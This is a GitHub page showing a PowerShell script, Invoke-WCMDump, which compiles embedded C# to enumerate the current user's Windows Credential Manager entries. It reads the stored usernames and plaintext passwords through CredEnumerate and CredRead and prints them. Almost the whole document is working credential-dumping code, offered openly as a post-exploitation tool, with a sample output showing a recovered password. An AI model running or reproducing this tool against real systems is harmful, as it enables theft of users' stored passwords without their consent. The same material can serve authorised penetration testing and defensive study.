-
Notifications
You must be signed in to change notification settings - Fork 134
/
Invoke-WCMDump.ps1
264 lines (225 loc) · 8.59 KB
/
Invoke-WCMDump.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
function Invoke-WCMDump
{
<#
.SYNOPSIS
Dumps Windows credentials from the Windows Credential Manager for the current user.
Author: Barrett Adams (@peewpw)
.DESCRIPTION
Enumerates Windows credentials in the Credential Manager and then extracts available
information about each one. Passwords can be retrieved for "Generic" type credentials,
but not for "Domain" type credentials.
.EXAMPLE
PS>Import-Module .\Invoke-WCMDump.ps1
PS>Invoke-WCMDump
Username : testusername
Password : P@ssw0rd!
Target : TestApplication
Description :
LastWriteTime : 12/9/2017 4:46:50 PM
LastWriteTimeUtc : 12/9/2017 9:46:50 PM
Type : Generic
PersistenceType : Enterprise
#>
$source = @"
// C# modified from https://github.com/spolnik/Simple.CredentialsManager
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security.Permissions;
public class Credential : IDisposable
{
private static readonly object LockObject = new object();
private static readonly SecurityPermission UnmanagedCodePermission;
private string description;
private DateTime lastWriteTime;
private string password;
private PersistenceType persistenceType;
private string target;
private CredentialType type;
private string username;
static Credential()
{
lock (LockObject)
{
UnmanagedCodePermission = new SecurityPermission(SecurityPermissionFlag.UnmanagedCode);
}
}
public Credential(string username, string password, string target, CredentialType type)
{
Username = username;
Password = password;
Target = target;
Type = type;
PersistenceType = PersistenceType.Session;
lastWriteTime = DateTime.MinValue;
}
public string Username
{
get { return username; }
set { username = value; }
}
public string Password
{
get { return password; }
set { password = value; }
}
public string Target
{
get { return target; }
set { target = value; }
}
public string Description
{
get { return description; }
set { description = value; }
}
public DateTime LastWriteTime
{
get { return LastWriteTimeUtc.ToLocalTime(); }
}
public DateTime LastWriteTimeUtc
{
get { return lastWriteTime; }
private set { lastWriteTime = value; }
}
public CredentialType Type
{
get { return type; }
set { type = value; }
}
public PersistenceType PersistenceType
{
get { return persistenceType; }
set { persistenceType = value; }
}
public void Dispose() { }
public bool Load()
{
UnmanagedCodePermission.Demand();
IntPtr credPointer;
Boolean result = NativeMethods.CredRead(Target, Type, 0, out credPointer);
if (!result)
return false;
using (NativeMethods.CriticalCredentialHandle credentialHandle = new NativeMethods.CriticalCredentialHandle(credPointer))
{
LoadInternal(credentialHandle.GetCredential());
}
return true;
}
public static IEnumerable<Credential> LoadAll()
{
UnmanagedCodePermission.Demand();
IEnumerable<NativeMethods.CREDENTIAL> creds = NativeMethods.CredEnumerate();
List<Credential> credlist = new List<Credential>();
foreach (NativeMethods.CREDENTIAL cred in creds)
{
Credential fullCred = new Credential(cred.UserName, null, cred.TargetName, (CredentialType)cred.Type);
if (fullCred.Load())
credlist.Add(fullCred);
}
return credlist;
}
internal void LoadInternal(NativeMethods.CREDENTIAL credential)
{
Username = credential.UserName;
if (credential.CredentialBlobSize > 0)
{
Password = Marshal.PtrToStringUni(credential.CredentialBlob, credential.CredentialBlobSize / 2);
}
Target = credential.TargetName;
Type = (CredentialType)credential.Type;
PersistenceType = (PersistenceType)credential.Persist;
Description = credential.Comment;
LastWriteTimeUtc = DateTime.FromFileTimeUtc(credential.LastWritten);
}
}
public class NativeMethods
{
[DllImport("Advapi32.dll", EntryPoint = "CredReadW", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern bool CredRead(string target, CredentialType type, int reservedFlag, out IntPtr credentialPtr);
[DllImport("Advapi32.dll", EntryPoint = "CredFree", SetLastError = true)]
internal static extern void CredFree([In] IntPtr cred);
[DllImport("Advapi32.dll", EntryPoint = "CredEnumerate", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
[StructLayout(LayoutKind.Sequential)]
internal struct CREDENTIAL
{
public int Flags;
public int Type;
[MarshalAs(UnmanagedType.LPWStr)] public string TargetName;
[MarshalAs(UnmanagedType.LPWStr)] public string Comment;
public long LastWritten;
public int CredentialBlobSize;
public IntPtr CredentialBlob;
public int Persist;
public int AttributeCount;
public IntPtr Attributes;
[MarshalAs(UnmanagedType.LPWStr)] public string TargetAlias;
[MarshalAs(UnmanagedType.LPWStr)] public string UserName;
}
internal static IEnumerable<CREDENTIAL> CredEnumerate()
{
int count;
IntPtr pCredentials;
Boolean ret = CredEnumerate(null, 0, out count, out pCredentials);
if (ret == false)
throw new Exception("Failed to enumerate credentials");
List<CREDENTIAL> credlist = new List<CREDENTIAL>();
IntPtr credential = new IntPtr();
for (int n = 0; n < count; n++)
{
credential = Marshal.ReadIntPtr(pCredentials, n * Marshal.SizeOf(typeof(IntPtr)));
credlist.Add((CREDENTIAL)Marshal.PtrToStructure(credential, typeof(CREDENTIAL)));
}
return credlist;
}
internal sealed class CriticalCredentialHandle : CriticalHandleZeroOrMinusOneIsInvalid
{
internal CriticalCredentialHandle(IntPtr preexistingHandle)
{
SetHandle(preexistingHandle);
}
internal CREDENTIAL GetCredential()
{
if (!IsInvalid)
{
return (CREDENTIAL)Marshal.PtrToStructure(handle, typeof(CREDENTIAL));
}
throw new InvalidOperationException("Invalid CriticalHandle!");
}
protected override bool ReleaseHandle()
{
if (!IsInvalid)
{
CredFree(handle);
SetHandleAsInvalid();
return true;
}
return false;
}
}
}
public enum CredentialType : uint
{
None = 0,
Generic = 1,
DomainPassword = 2,
DomainCertificate = 3,
DomainVisiblePassword = 4,
GenericCertificate = 5,
DomainExtended = 6,
Maximum = 7,
CredTypeMaximum = Maximum+1000
}
public enum PersistenceType : uint
{
Session = 1,
LocalComputer = 2,
Enterprise = 3
}
"@
$add = Add-Type -TypeDefinition $source -Language CSharp -PassThru
$loadAll = [Credential]::LoadAll()
Write-Output $loadAll
}